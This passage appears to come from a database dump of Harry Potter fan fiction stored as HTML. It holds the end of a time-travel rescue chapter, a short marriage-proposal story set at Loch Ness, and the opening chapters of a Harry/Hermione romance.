am, Hermione. I let Draco see me. And\nI left him unconscious without even trying a Memory Charm.&quot; Harry rubbed\nhis eyes. &quot;But, I can\'t change any of that now. The only thing that\nmatters is getting into Hogwarts and finding Molly Weasley before Ron has a\nchance to use the Serum on her.&quot; <br>\n<br>\n&quot;I can\'t believe he\'d do that to Mum,&quot; Percy said, staring at the\ncamp fire. &quot;Forcing a Truth Serum down her throat...it\'s\nabombinable.&quot; <br>\n<br>\nCharlie poked his younger brother\'s foot with his own. &quot;Ron sold out to\nVoldemort for a pair of Spanish tits. Believe it.&quot; <br>\n<br>\n&quot;Do you have to be so crude?&quot; Lavender asked the oldest living\nWeasley sibling. <br>\n<br>\n&quot;I don\'t think of it as crude, I think of it as the whole truth without\nany sugarcoating.&quot; <br>\n<br>\nLupin stopped the fight before it could even begin. &quot;Hermione\'s come up\nwith a plan, a good one. We shouldn\'t have too much difficulty getting into the\nmain part of the castle. Harry...any thoughts on where they might be keeping\nher?&quot;<br>\n<br>\n&quot;The dungeons, maybe. The astronomy tower? Dumbledore\'s old office? How\nthe bloody hell should I know?&quot; Harry snapped. &quot;There are rooms in\nthat castle that only come out in the morning. There are chambers that get\nhidden for a thousand years. She could be anywhere!&quot;<br>\n<br>\nA moment passed after his outburst. &quot;Are you all right, Harry?&quot;\nHermione ventured to ask, putting a hand on his arm. <br>\n<br>\nHe let his shoulders relax. &quot;I\'m sorry. I\'m just...getting a\nheadache.&quot; <br>\n<br>\n&quot;You\'ve been Apparating too much,&quot; Lupin said. &quot;Perhaps you\nshould stay here...&quot;<br>\n<br>\n&quot;No.&quot;<br>\n<br>\n&quot;It\'s not a terrible idea, Harry,&quot; Hermone said, softly. &quot;You\ncould stay with everyone...and Emma, keep her safe and rest yourself.\nTime-travel and too much Apparating...it\'s a wonder you\'re still...&quot;<br>\n<br>\n&quot;I said \'no\'.&quot; Harry looked at her. <br>\n<br>\nEmma kicked a pebble with her shoe. &quot;Don\'t make him, Mum. I\'ll be fine; I\ndon\'t need a babysitter.&quot; <br>\n<br>\n&quot;Emma will be fine. Plenty of us are staying,&quot; Percy reminded\nHermione. <br>\n<br>\n&quot;I\'ll keep a special eye on her,&quot; Lavender volunteered. Neville\nsqueezed her hand and she laid her cheek on his shoulder. <br>\n<br>\nThe young girl scowled, turned on her heel and started off in search of her\nbooks. Hermione watched her daughter flounce off, a worried frown on her own\nface. Lupin smiled at her, reassuringly. &quot;She\'ll be in good hands.&quot; <br>\n<br>\nHermione\'s frown all but disappeared. Harry had to look away; he cleared his\nthroat to get everyone\'s attention. &quot;Just who is going?&quot; <br>\n<br>\n&quot;I am.&quot; Charlie stood up and rubbed his weathered hands together\nvigorously. &quot;Never thought I\'d get to go back to school.&quot; <br>\n<br>\n&quot;I only hoped I wouldn\'t,&quot; Fred snickered. George nodded his\nwhole-hearted agreement. <br>\n<br>\n&quot;Only the essential personnel,&quot; Seamus answered Harry\'s question.\n&quot;You won\'t have to babysit anyone tonight, mate.&quot;<br>\n<br>\nHermione pointed to each person as she spoke their name. &quot;Charlie, Fred,\nGeorge, Remus, myself...and you.&quot; <br>\n<br>\nGeorge looked sheepish for a rare instant. &quot;I tried to get enough people\ntogether to mount a really wicked attack. But...there aren\'t many people\nleft.&quot;<br>\n<br>\n&quot;You did your best,&quot; Lupin said. &quot;The cloak will cover all of\nus, but it\'s imperative that we not let any toes poke out from under it or let\nourselves be heard by anyone. We\'re playing on what Voldemort considers his\nterritory; I for one want to get in, get Molly and get out. Anything more than\nthat risks lives.&quot;<br>\n<br>\n&quot;Wouldn\'t it be easier if I went alone?&quot; Harry asked. It wasn\'t that\nhe felt like being the devil\'s advocate; he was just finding it very hard to go\nalong with everything his old mentor came up with, knowing how the man looked\nat his wife. There was something there...and he was fairly certain he didn\'t\nwant to know what it was. That didn\'t mean, however, that he could force\nhimself to ignore it. <br>\n<br>\nHermione approached him, placing a soft hand on his shoulder. &quot;Harry...I\nsay this only because I love you. But the last time you faced Voldemort\nalone...*was* the last time.&quot; <br>\n<br>\n&quot;You think I can\'t do it?&quot; Youthful resentment flashed in the dark\ncenters of his eyes. <br>\n<br>\n&quot;I think that I can\'t bury you twice.&quot; <br>\n<br>\nIt was possible to hear a single drop of water hitting the loch from a dripping\nstalagtite in the silence that followed. Finally, Harry let himself relax. His\nhead was pounding too hard. And there were too many old, but still open wounds\npeeking through his wife\'s composure. He wouldn\'t be the cause of any fresh\nones. <br>\n<br>\nHarry tore his gaze away from Hermione and turned a much harder one on Remus\nLupin. &quot;Lead the way.&quot; <br>\n<br>\n****<br>\n****<br>\n<br>\nShe hadn\'t been able to sleep all night. Not only was the baby kicking her\nworse than ever, apparently as aware of her father\'s absence as Hermione\nherself was, but horrible images of what might be happening to Harry had\nhaunted her dreams. If not for her huge stomach, she would have tossed and\nturned until dawn. <br>\n<br>\nAs it was, she found herself awake and dressed and standing in front of Ron\'s\nhome just after dawn with a huge plate of freshly baked cinnamon rolls in her\nhands. True, Ron was not a fan of her cooking, but she had never seen him turn\ndown a sweet in all the years she had known him. <br>\n<br>\nPlus, she had to do something. She had to get out of the house, walk around a\nbit, anything to keep her mind occupied. Hermione balanced the plate with the\nhelp of her round belly and knocked on the door. <br>\n<br>\nIt took a few minutes, but finally, the door opened. But it wasn\'t Ron who\ngreeted her. Serafina, his current fling, answered wearing only one of the\nsweaters Mrs. Weasley had knitted for her son. Apparently, it was one she had\nmade for Ron when he was much younger; the \'R\' worked into the wool was\nstretched tight across Serafina\'s breasts and the hem only barely skimmed the\ntops of her thighs. <br>\n<br>\nHermione blinked. &quot;Good morning. Um...buenos dias, I mean.&quot; The other\nwoman ran a hand through her tousled, streaked locks and yawned. &quot;Is Ron\nup?&quot;<br>\n<br>\n&quot;He is taking the shower.&quot; <br>\n<br>\n&quot;Oh, I see.&quot; There was a pause. &quot;May I come in and wait for\nhim?&quot;<br>\n<br>\nSerafina shrugged and stepped aside to let her in. &quot;Sit if you care.&quot;\nShe half-heartedly gestured to a sofa cluttered with old newspapers, dirty\nclothes and dishes. <br>\n<br>\n&quot;It\'s all right. The baby gets restless if I sit too much.&quot; Several\npainfully long moments ticked by. Hermione set the plate of rolls onto a corner\nof the coffee table that was relatively clean. &quot;Um...has Ron heard\nanything? About Harry?&quot; <br>\n<br>\n&quot;Ron has been...how do you say...?&quot;<br>\n<br>\n*Shagging?* Hermione thought. &quot;Occupied?&quot; <br>\n<br>\n&quot;Si. Occupied.&quot; Serafina smiled for the first time, reminding her of\nthe nice young girl Ron had brought to dinner only a few days earlier. But then\nshe stretched like a well-fed sex kitten. &quot;He is very much a man.&quot; <br>\n<br>\nNausea that she couldn\'t attribute to her pregnancy welled up in Hermione\'s\nstomach. &quot;I\'ll take your word for it. So...no one\'s stopped by from the\nMinistry? No owls?&quot; <br>\n<br>\n&quot;Hermione...&quot; Ron entered the living room in his bathrobe, a wet\ntowel hung around his neck. &quot;I told you I\'d come by to see you, not the\nother way around.&quot;<br>\n<br>\n&quot;Well, I was in the neighborhood...&quot; She picked up the plate. &quot;I\nbrought breakfast.&quot;<br>\n<br>\nHe moved towards her and took her arm. &quot;You should go home. Harry would\nkill me if he knew I was letting you walk around by yourself in your\ncondition.&quot; <br>\n<br>\n&quot;I\'m pregnant, Ron, not terminally ill. And let\'s stop to deal with this\n\'letting\' me walk around thing. Since when does anyone \'let\' me do anything?\nI\'m a grown woman and I decide what I...&quot;<br>\n<br>\nRon cut her off. &quot;Look, I haven\'t heard anything, okay? Harry\'s dropped\noff the bloody planet and until he decides to surface again, there\'s not a damn\nthing either of us can do. Just go home, put your feet up and try not to send\nyourself into early labor.&quot; <br>\n<br>\n&quot;Ron.&quot; Hermione stared at him with blank confusion. &quot;What\'s\nwrong with you?&quot; <br>\n<br>\n&quot;You come over here uninvited at the crack of dawn looking like hell and\nyou ask *me* what\'s wrong?&quot; Serafina approached him from behind and slid\nher arms around his stomach. &quot;Sorry if I can\'t manage to get all worried\nabout Harry. He has a history of going off and doing stuff on his own without\nconsulting us and he always winds up playing the hero. You\'re the one who\nmarried him; aren\'t you used to him by now?&quot;<br>\n<br>\nShe took a step back. &quot;I can\'t believe what you\'re...Ron? Why are\nyou...being like this?&quot; <br>\n<br>\n&quot;Being like what?&quot; <br>\n<br>\n&quot;Like...&quot; Her eyes clouded over. &quot;...an insensitive\nbastard!&quot;<br>\n<br>\nSerafina\'s head peeked up over his shoulder. &quot;I wish to go back to\nbed...&quot; She nipped at his ear with strong, white teeth. <br>\n<br>\nRon\'s eyelids fluttered. When they finally opened again, he leveled his old\nfriend with the ice of his stare. &quot;The great Harry Potter, wherever he\nmight be, is doing just fine without us. Go home, Hermione. And get used to\ncoming in second. The only person who\'s important to Harry...is Harry.&quot; He\nturned around and hauled his girlfriend against his body; his hands gripped her\nunderneath the wool of his sweater. &quot;If you\'ll excuse us, Mrs.\nPotter.&quot; <br>\n<br>\nHermione listened to Serafina\'s sexy laughter as it trailed down the hallway\nand back towards Ron\'s bedroom. She remained standing in that same spot for a\nlong time, her only motions were to rub her swollen belly, as though soothing\naway Ron\'s completely uncharacteristic words from her baby\'s ears. Her cheeks\nwere wet. <br>\n<br>\nShe left the cinnamon rolls on the table and fled the tiny house that she and\nHarry had helped their friend move into only months earlier. She needed Harry.\nThere was something very wrong with Ron, far worse than mere jealousy. If only\nHarry were there...<br>\n<br>\nThe baby kicked her hard, but she barely felt it. <br>\n<br>\n**** <br>\n****<br>\n<br>\n&quot;Percy?&quot;<br>\n<br>\n&quot;Don\'t ask it, Emma.&quot; <br>\n<br>\n&quot;How long has it...&quot;<br>\n<br>\nHe snapped his book shut and gave the teenager a long look. &quot;It\'s been an\nhour and a half. When you last asked, it was an hour and twenty-five minutes.\nNext time you want to know, they will have been gone for a hour and thirty-five\nminutes. Is that all? I\'d like to finish this book sometime this year.&quot;<br>\n<br>\nEmma tilted her head to one side and studied the older man. &quot;Were you this\nmuch of a fuddy-duddy when you were my age?&quot; <br>\n<br>\n&quot;More,&quot; Seamus called out from across the camp. When he caught\nPercy\'s glare, he laughed and shrugged. &quot;Sorry, mate. You docked points\nfrom our own House because I threw one ear of corn at the Slytherin\'s table. I\nhaven\'t forgotten.&quot;<br>\n<br>\nPercy flipped his book open and studiously ignored them both. With a sigh, Emma\nglanced down at her own book. She was so close to finding out a way to send her\nfather back to his proper time. So close, in fact, that she imagined it would\nonly take a few more pages of reading. She had the time, the resources...what\nshe lacked was the heart. <br>\n<br>\nShe didn\'t want him to leave.<br>\n<br>\nHarry Potter was everything she had always been told he had been. Not by her\nmother, of course, but by everyone else who hadn\'t wanted her to grow up not\nknowing about the amazing man who had been her father. Handsome. Smart. Brave.\nCool. Powerful. <br>\n<br>\nNone of that really mattered. What she had latched onto was how loving he had\napparently been. Emma could remember all of the nights she would lay awake long\npast her bedtime, imagining that when she woke up in the morning, he would be\nat the breakfast table eating bacon and toast and just waiting to give her a\nkiss on the forehead. Every morning she would vault into the kitchen, just in\ncase. But the table was always empty. And she\'d cry, once again, for the man\nshe had never known. <br>\n<br>\nLying on her stomach, she rested her head on one outstretched arm. It was\nmonsterously selfish, but she wasn\'t ready to let him go just yet. No one\nunderstood, how could they? With all of their memories of him, they could\nafford to think about the big picture. All Emma could think about was how she\'d\ngive anything, do anything, be anyone he wanted her to be...if only she could\nhear her father say he loved her. <br>\n<br>\nShe flipped a page without reading it. No matter how old she got, some part of\nher would always be six years old, wishing on stars for her daddy. <br>\n<br>\n&quot;Stars,&quot; she said outloud. Emma\'s head shot up. &quot;That\'s\nit!!&quot; <br>\n<br>\nWith a burst of intellectual energy, an inevitable side-effect of having grown\nup under her mother\'s tutelage, Emma frantically pawed through her book until\nshe landed on a certain page. Her eyes whipped back and forth like a tennis\nball as she read. &quot;Yes...yes! Of course! Why didn\'t I think of it on my\nown?&quot; <br>\n<br>\nShe almost stopped reading; the answer was in her hand whether she liked it or\nnot. But something compelled her to keep going, reading further into the\nsection on time-travel theories. As quickly as her pretty face had lit up, it\nfell. &quot;Oh no...no...&quot; Emma put her hand over her mouth. &quot;I\ndidn\'t know,&quot; she whispered to no one in particular. &quot;I didn\'t know\nhe could...&quot; <br>\n<br>\nForcing herself to swallow most of her fear, Emma closed her book, carefully\nplaced it in her waterproof jacket and looked at the camp. Everyone was\noccupied either reading or cooking a late breakfast. Most importantly, no one\nwas keeping their promised &quot;close eye&quot; on her. <br>\n<br>\nWith grace and a little bit of luck, Emma snuck down to the water\'s edge,\nconjured up the Bubble-Head charm and slipped under the water without so much\nas a splash. As she carefully kicked for the antechamber and the loch beyond\nit, she felt a pang of guilt. Everyone would be sick with worry. Her\nmother...and possibly her father, would have good reason to kill her. But she\nhad to get there. She had to fix what she had set in motion...before it killed\nthe one person she\'d do anything to keep alive. <br>\n<br>\nIt looked like she would finally get to go to Hogwarts School of Witchcraft and\nWizardry. But it wouldn\'t be to further her education. It would be correct her\nown unforgivable mistake. <br>\n<br>\nIt would be to save her father\'s life.<br>\n<br>\n****<br>\n<br>\nTo Be Continued</p>\n\n\n\n\n\n\n'),
	(168, 1, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">************************<br>\nRandom Statement<br>\nE. C. R. Potter<br>\n************************<br>\nDisclaimer: Everything here belongs to J. K. Rowling: Even the kelpie in Lock\nNess.<br>\n************************<br>\n<br>\nIt was a beautiful day in Scotland:\nthe sun was shining brightly over Loch Ness, its waters glistening in sunlight.\nHarry Potter was sitting on a grassy ledge near the shore and was glancing out\ntoward the waters, hoping to catch a view of the world famous kelpie that\ninhabited the lake. Seeing nothing, he turned next him to see a sight that was\nalways much more breathtaking than a monster kelpie in a lake.<br>\n<br>\nHermione Granger, his best friend for the past 13 years and girlfriend of the\npast 3, was sitting right next to him, her face buried in a muggle\nbook on the kelpie in the Loch, whom muggles had long\nmistaken as a prehistoric monster.<br>\n<br>\nHarry sighed happily as he studied Hermione\'s form. Her beautiful oval face was\nframed by long golden brown curls. Her sweet chocolate brown eyes were\nengrossed in the words in front of her, absorbing the knowledge she so craved.\nSure she was physically attractive, but for Harry, it was what was in her heart\nthat truly made her beautiful in his eyes. Hermione was the one person who had\nstuck by him all the way through Harry\'s feud with Voldemort.\nShe was loving, caring, and still had an urge to take control, though she\nwasn\'t as bossy as she was in her childhood days.<br>\n<br>\n\'How could I have been so lucky?\' thought Harry. He truly loved both the girl\nhe had known and the woman she had become.<br>\n<br>\nHermione, sensing Harry\'s eyes on her, looked up into. &quot;Harry, what are\nyou staring at?&quot; she asked though she already knew.<br>\n<br>\n&quot;I\'m just admiring the view,&quot; said Harry with a large grin. Hermione\nfelt a blush settle on her cheeks as she smiled.<br>\n<br>\n&quot;Oh really?&quot; she asked, sounding smug.<br>\n<br>\n&quot;You bet,&quot; said Harry. &quot;I\'m just admiring the beauty of what\'s\nbefore me.&quot;<br>\n<br>\nHermione felt her insides melt. She felt herself drowning into his beautiful\npools of emerald that shown behind his glasses. And she always thought his\nstill messy raven hair was quite appealing. &quot;Well if you want to know,\nI\'ve got a beautiful view for myself as well.&quot;<br>\n<br>\nHarry grinned. Hermione put her book aside and seated herself into Harry\'s lap.\nShe sighed happily, closed her eyes, and leaned her head on his shoulder. Harry\nstarted stroking her golden brown hair. As far as Hermione was concerned, there\nwas no place she was more meant to be than in Harry\'s lap right there.<br>\n<br>\n&quot;I love you,&quot; said Harry as he gently continued stroking her hair.<br>\n<br>\nHermione sighed feeling content. &quot;I love you too,&quot; she mumbled as she\nstarted to drift off to sleep.<br>\n<br>\n&quot;Marry me,&quot; said Harry.<br>\n<br>\nHermione\'s head sprang off of his shoulder, her eyes wide in surprise.\n&quot;What?&quot;<br>\n<br>\n&quot;Marry me,&quot; said Harry. &quot;Marry me so that we can grow old\ntogether. So that we can have spats about small trivial\nthings. So I can be the one who squeezes your hand when you bring our\nchildren out into the world. So that we can feel proud when are\nchildren go off to Hogwarts, or when they ace their O.W.L.s\nor win the Quidditch Cup. So that\nwe can show the world just how much we love each other. Marry me,\nHermione Granger.&quot;<br>\n<br>\nHermione felt her heart beat quicken. It was such a random statement that she\nhad caught by surprise. She had always dreamed of becoming Mrs. Hermione\nPotter, and when they had finally got together, she had known that it was going\nto be a reality some day. But she had always assumed it was going to be in some\ndistant future. Instead, it had come on today, and in a completely unexpected\nway.<br>\n<br>\nHarry noticed that Hermione was simply staring at him and saying nothing. \'Oh\nno, she\'s going to say &quot;no&quot;!\' he thought. \'Dammit!\nWhy did I have to say such a random statement?\' He started to curse himself.<br>\n<br>\nHermione smiled and tears started rolling out of her eyes. She leaned forward\nand pressed her lips to his. Harry started kissing her back and they simply\nkissed each other as passionately as they could show. Finally, lack of oxygen\nforced them to reluctantly part.<br>\n<br>\n&quot;Does that mean yes?&quot; said Harry with a large grin on his face.<br>\n<br>\n&quot;What do you think?&quot; said Hermione smiling. They both pulled each\nother into another fierce kiss. At that moment, they would\'ve probably cared\nless if the kelpie of Loch Ness had suddenly come up and danced the fox trot as\nthey were completely engrossed in each other.<br>\n<br>\n************************<br>\nFIN<br>\n************************<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(169, 1, '<b>\n</b><p><b>Disclaimer:</b> This story is based on characters and situations created and \nowned by JK Rowling, various publishers including but not limited to Bloomsbury \nBooks, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is \nbeing made and no copyright or trademark infringement is intended. </p><b>\n</b><p><b>Author notes:</b> Please R/R. I really have a thing for a real Harry/Hermione \nSHIP to happen in the real books. My biggest feeling is that Harry will fall in \nlove with her, but keep his feelings to himself because of obvious reasons. This \nfic is dedicated to that thought. (Come on Harry! I know you love Hermione \nsomewhere in that heart of yours!!!) I would like to hear all of your \nopinions!!!</p>\n<p>Another thing &#8230; think about this&#8230;</p>\n<p>&quot;Hermione&quot; was a character in Greek mythology who was loved by two men. She \nwas the daughter of Helen of Troy and Menelaus. These men (Orestes 2 and \nNeoptolemus, the son of Achilles) fought terribly for the love of the beautiful \nHermione (Harry and Ron?). Orestes 2 was killed by a snake. Could this mean that \neither Ron or Harry will die at the hands of Lord Voldemort (whose symbol is a \nsnake?). Hmmm&#8230;</p>\n<p>A special notice for you fellow H/H SHIPmates out there&#8230;</p>\n<p>In the new movie, Harry Potter and the Chamber of Secrets, set to be released \non November 15th, our favorite &#8220;couple&#8221; share a very cute and adorable hug with \neach other. Now that&#8217;s another great reason to see it!!!</p><b>\n<p align="center"></p>\n<p align="center">Chapter 1 - Prologue</p>\n<p align="center"></p>\n<p align="center">&nbsp;</p></b>\n<p>Harry Potter, the boy who lived, complete with the raven-black, untidy hair, \nemerald green eyes, and round framed glasses, walked around Hogwarts: School of \nWitchcraft and Wizardry&#8217;s lake. Since his 5th year, he found himself doing this \nwhenever he needed to think about things; a person in particular, Hermione \nGranger.</p>\n<p>Harry had fallen for his best friend over the summer after their 4th year, \nright about when she had kissed him on the cheek to say good bye. At first, \nHarry thought nothing of it, until it played over and over in his mind during \nthe summer break. After that, Hermione clouded his mind since, all the way to \nhis 7th year at Hogwarts.</p>\n<p>***</p>\n<p>When Ron and Hermione started to go out in their 5th year, it was a very \narduous time for Harry. His attitude toward them was so extreme at times that \neven Harry himself noticed his own change in behavior toward them; a bit curt at \ntimes, but not entirely friendly. It wasn&#8217;t that he was entirely jealous; he was \nvery happy for the two, especially Hermione. It was just hard to see your best \nmale friend kissing your best female friend, who you just happened to love as \nwell, every day of your life.</p>\n<p>The day that Ron broke up with Hermione was the day all the weight from Harry \nwas lifted. Just months after the day they were together, it had come to an end. \nApparently, Ron wasn&#8217;t getting the love he thought he would get from her and \nalthough the breakup was supposedly &#8220;mutual&#8221;, Hermione was devastated. What made \nit surprising for Harry was that right after the breakup, she ran straight to \nhim for comfort. With her hands on his shoulders and her face in his chest, she \ncried as Harry held her in a tight and warming hug. It was that moment that made \nhim realize that Harry loved her even more and he made it clear that he would \n&#8220;always be there for her&#8221;. </p>\n<p>As quickly as she jumped in his arms, everything went back to normal. It took \na while for Ron and Hermione to start talking again but when they did, they \nbecame the strong trio again.</p>\n<p>About a few days later, Harry did all he could to catch Hermione&#8217;s attention \nand to get her to realize that he was interested. He&#8217;d give her various flowers \nfor no apparent reason. &#8220;Just thought you might want to have this,&#8221; and &#8220;Found \nthis for you,&#8221; were easy explanations for him. He even asked and took her out to \ndinner in Hogsmead during the year. </p>\n<p>On Christmas, he bought her a golden necklace with a &#8220;Hermione&#8221; pendant at \nthe end and on Valentines Day, he gave her a bouquet of roses with a note \nsaying, &#8220;I&#8217;ll always remember you&#8230; until the last rose dies&#8221;. The look that \nHermione gave him was surreal. Even thought she said, &#8220;thank you&#8221;, he could tell \nthat she thought he was crazy, but he did have enough self-control to keep \nhimself from laughing hysterically. Little did Hermione know that the special \nthing about the gift was that Harry had enchanted the middle rose with an \nimmortal charm, making it impossible for it too die. Weeks later, as the roses \ndied off one by one, she noticed that one rose of the bouquet in particular \nrefused to die. After figuring out the meaning of the message, she ran into him \nin one of the corridors and gave Harry a loving hug saying, &#8220;That&#8217;s very sweet \nHarry.&#8221;</p>\n<p>Other than that, there was no &#8220;real&#8221; response from Hermione at all. Harry \nseemed very disappointed. He was either not clear enough to Hermione, or \nHermione knew very well what he was trying to tell her.</p>\n<p>As the school year went on, it became somewhat like a challenging game for \nHarry and the rules were simple: Make it known to Hermione that you love her and \nwant to be more than just friends. Though madly in love with her, he never told \nanyone about how he really felt, except for one person: Hedwig. </p>\n<p>His godfather, Sirius Black, had given him a small silver necklace that same \nChristmas, enchanted so that the one wearing it would be able to speak to their \nmost beloved animal friend. It was fun talking to Hedwig every once in a while, \nnot because that it was just cool talking to an animal, but because Harry could \nget things off his mind and tell Hedwig all of his deep secrets, with a \nconfidence that she would keep her word not to tell a living soul. Who else \nwould talk to an owl?</p>\n<p>The gift Harry had received would play a huge part in his life. It was \nstrange really, seeking advice and help from an owl to get a girl&#8217;s attention, \nbut Harry needed all the help he could get. The best part was that if anyone was \nto overhear or catch Harry talking to Hedwig, it would simply sound like them \nhooting back and forth to each other. Students simply shrugged it off and called \nit &#8220;cute and childish pet-talking&#8221;.</p>\n<p>As their 5th year came to an end, Harry&#8217;s hard work hadn&#8217;t paid off. Hermione \nwas still the same friend he had found in in his 1st year but probably a little \nmore flattered than usual.</p>\n<p>***</p>\n<p>Harry&#8217;s goal in his 6th year was simple enough: Make it known to Hermione \nthat you love her and want to be more than friends. After getting endless advice \nfrom Hedwig once again, Harry went on with his attempts, still taking her out to \nHogsmead and giving her flowers for no apparent reason. During the time period, \nRon had gotten accustomed to a girl from Hufflepuff named Rachel Richards; a \nvery pretty girl with her hair always in some sort of ponytail variation. Ron \neven questioned Harry about his actions toward Hermione.</p>\n<p>&#8220;Do you like Hermione?&#8221; he whispered out of nowhere one day during class when \nhe caught Harry stealing glances at her.</p>\n<p>&#8220;I don&#8217;t know Ron&#8221; was the same answer he always replied with. Harry was also \nsurprised that Ron never bothered him with it as much as he thought he would \nhave during the year; probably because Ron was too occupied with Rachel.</p>\n<p>On Christmas, instead of a material gift, Harry took her out on a special \ndate instead. Somehow, many student heard about this and came across it as being \nvery unusual. Instead of a material gift, he takes her out on a date? It was \nthis that made many students at Hogwarts begin to realize that Harry Potter may \nindeed have feelings for Hermione Granger.</p>\n<p>Harry took her out to Hogsmead again and put his heart and soul in to making \nher comfortable and happy. After the date, they made their way back to Hogwarts, \nsat outside for a long time, and just talked. After talking for a really long \ntime, they made their way back to the Gryffindor common room and Harry walked \nher to the door of the girl&#8217;s dormitories and the last thing Hermione said was, \n&#8220;Thank you Harry. That was a very sweet of you.&#8221; She stood on her tiptoes, \nleaned her head up towards his, and gave him a rather longer-than-usual-kiss on \nthe cheek. Harry&#8217;s eyes slammed shut as he felt Hermione&#8217;s lips on his cheek and \nwhen she pulled away, his eyes opened again. She turned around, opened the \ngirl&#8217;s dorms door, walked inside, and gave Harry a final wave before shutting it \nbehind her. This would be the first and only time Hermione ever said a &#8220;proper&#8221; \ngoodbye to Harry after a date.</p>\n<p>On Valentines Day, Harry gave her the largest rose he could get his hands on, \nwhich happened to be about 4 feet long, the stem being about as thick as a wand, \nthe leaves on it about as big as her hands, and a rosebud at least the size her \nhead. Harry felt extremely proud when he gave it to her in the Great Hall at \nbreakfast, which of course, caught everyone&#8216;s attention. It wasn&#8217;t usual for a \nperson to walk in the Hall with a 4 foot rose in hand! He walked over to her at \nthe usual spot where they sat.</p>\n<p>&#8220;This&#8230; is for you Hermione,&#8221; he said timidly, as he held the rose in front of \nher. Hermione&#8217;s eyes couldn&#8217;t have gotten any rounder as she stared astoundingly \nat the huge rose. She said nothing as she awkwardly took the rose from him and \nexamined it delicately in her hands. She put the huge rose bud up to her face, \nclosed her eyes, and inhaled it&#8217;s fragrance. A wide grin appeared on her face as \nshe pulled away.</p>\n<p>&#8220;Oh Harry!&#8221; she exclaimed as she jumped out from her seat and wrapped both \narms around his neck in a tight hug. &#8220;Thank you!&#8221;</p>\n<p>&#8220;You&#8217;re&#8230; welcome,&#8221; sputtered Harry as she pulled away and examined the rose \nagain with the same grin visible on her face. He apparently was surprised by \nHermione&#8217;s quick reaction.</p>\n<p>&#8220;You&#8217;re so sweet to me you know,&#8221; she added,. She turned back to him, stood \nher tiptoes, and kissed him on the cheek, the same way she did after the \nChristmas date.</p>\n<p>If the date with Hermione didn&#8217;t make students think Harry liked her, \nValentines Day and the rose did! Soon after Harry and Hermione sat back down and \nsettled, many giggly girls in the Valentine&#8217;s spirit and in awe of Hermione came \nup to her. </p>\n<p>&#8220;Wow look at the size of that thing!&#8221;</p>\n<p>&#8220;That&#8217;s so cool!&#8221;</p>\n<p>&#8220;I wish <i>my </i>boyfriend gave me something like that!&#8221;</p>\n<p>Those were some of the things that were said when they spoke. Hermione \ncouldn&#8217;t help but glance over at Harry and smile. Harry couldn&#8217;t help it too. \nJust then, Ron came in.</p>\n<p>&#8220;Hi Harry. Hello Hermione. Who gave you the rose?&#8221;</p>\n<p>Harry and Hermione looked at each other at the same time and smiled. </p>\n<p>As their sixth year ended, it ended the same way as 5th year, Hermione showed \nabsolutely no sign of recognizing Harry as more than a friend. Harry didn&#8217;t know \nif he was angrier at Hermione or himself. He either worked hard or didn&#8217;t work \nhard enough. Hermione had the nerve not to notice anything!? And she was \nsupposed to be smart&#8230; But still, all in all, Harry had a good and fun time this \nspecific year.</p><b>\n<p>A/N: Yet another H/H story for all of my SHIPmates out there. I dedicate this \none especially to my friend Alison, who gave me the real life experiences which \nlead to ideas to write this story. I miss you greatly&#8230;</p></b>\n'),
	(169, 2, '<b>\n<p align="center">Chapter 2 - The Conversation</p>\n<p align="center"></p></b>\n<p>&nbsp;</p>\n<p>As Harry sat thinking about the past few years he had with Hermione by the \nlake, a white owl landed on top of his shoulder, startling him from his \ndaydreaming.</p>\n<p>&#8220;Hi Hedwig,&#8221; hooted Harry, looking at her on his right shoulder. Fortunately, \nhe was wearing his special necklace from Sirius, which allowed him to talk to \nher.</p>\n<p>&#8220;Hello Harry,&#8221; she hooted back. &#8220;How are you dear boy?&#8221;</p>\n<p>&#8220;I&#8217;m fine Hedwig,&#8221; he replied, picking her up off his shoulder and putting \nher so she could sit in his lap instead. &#8220;Where&#8217;d you come from?&#8221;</p>\n<p>&#8220;Just back from my early morning flight,&#8221; said Hedwig, using her beak to \npreen herself. &#8220;And by the look on your face, you look like you just came back \nfrom daydreaming.&#8221;</p>\n<p>&#8220;I was not!&#8221; Harry lied, giving it away by turning a dark shade of red.</p>\n<p>&#8220;Sure Harry. You always come to the lake to think. Especially when you need \nto think about Hermione.&#8221;</p>\n<p>Harry closed his eyes, bowed his head slightly, and laughed through his nose. \nIt was no use denying it anymore and Hedwig was right the first 100 times they \nhad done this. </p>\n<p>&#8220;Still in love Harry?&#8221; she asked.</p>\n<p>&#8220;More than ever Hedwig,&#8221; he replied. &#8220;It seems the more I see her, the more \nin love I fall.&#8221;</p>\n<p>&#8220;Then why don&#8217;t you just tell her how you feel then?&#8221;</p>\n<p>Harry gave a small smile. &#8220;Hedwig, we had this conversation yesterday, the \nday before that, and the day before that. And guess what? My response isn&#8217;t \ngoing to change.&#8221;</p>\n<p>&#8220;And what would that response be?&#8221; she asked, narrowing her eyes a \nlittle.</p>\n<p>&#8220;That I <i>can&#8217;t</i> tell her how I feel Hedwig,&#8221; Harry answered \nexasperatedly. &#8220;You know that already.&#8221;</p>\n<p>&#8220;And why not?&#8221;</p>\n<p>Harry opened his mouth to say something, but nothing came out. This isn&#8217;t how \nthe conversation usually goes, thought Harry. She usually eggs me on even more \nto tell her.</p>\n<p>&#8220;Why&#8230; why not?&#8221; Harry stuttered, suddenly feeling stuck. Hedwig nodded, \nknowing that she had caught him and gave him a cute owl smile that Harry could \nbarely make out. It took sometime before Harry spoke.</p>\n<p>&#8220;You know what Hedwig?&#8221;</p>\n<p>&#8220;What&#8217;s that Harry?&#8221;</p>\n<p>&#8220;That&#8217;s&#8230; a really good question. Why won&#8217;t I tell Hermione that I like her?&#8221; \nhe replied, sounding as pitiful as the words that came out of his mouth. Hedwig \nshook her head and shrugged.</p>\n<p>&#8220;It must be a heck of a reason if <i>you </i>don&#8217;t even know,&#8221; she said \nas-a-matter-of-factly. Harry scratched his head, something that he started to do \nwhen he was trying to think but got no answers from his brain.</p>\n<p>&#8220;Tell you what,&#8221; he started, looking down at Hedwig, &#8220;when I find out, you&#8217;ll \nbe the first to know.&#8221; Instead of looking flattered at his offer, Hedwig shot \nhim a look that could&#8217;ve killed.</p>\n<p>&#8220;The only reason why you&#8217;re going to tell me first is because you know that I \nam incapable of telling anybody else!&#8221;</p>\n<p>&#8220;So?&#8221; smiled Harry. 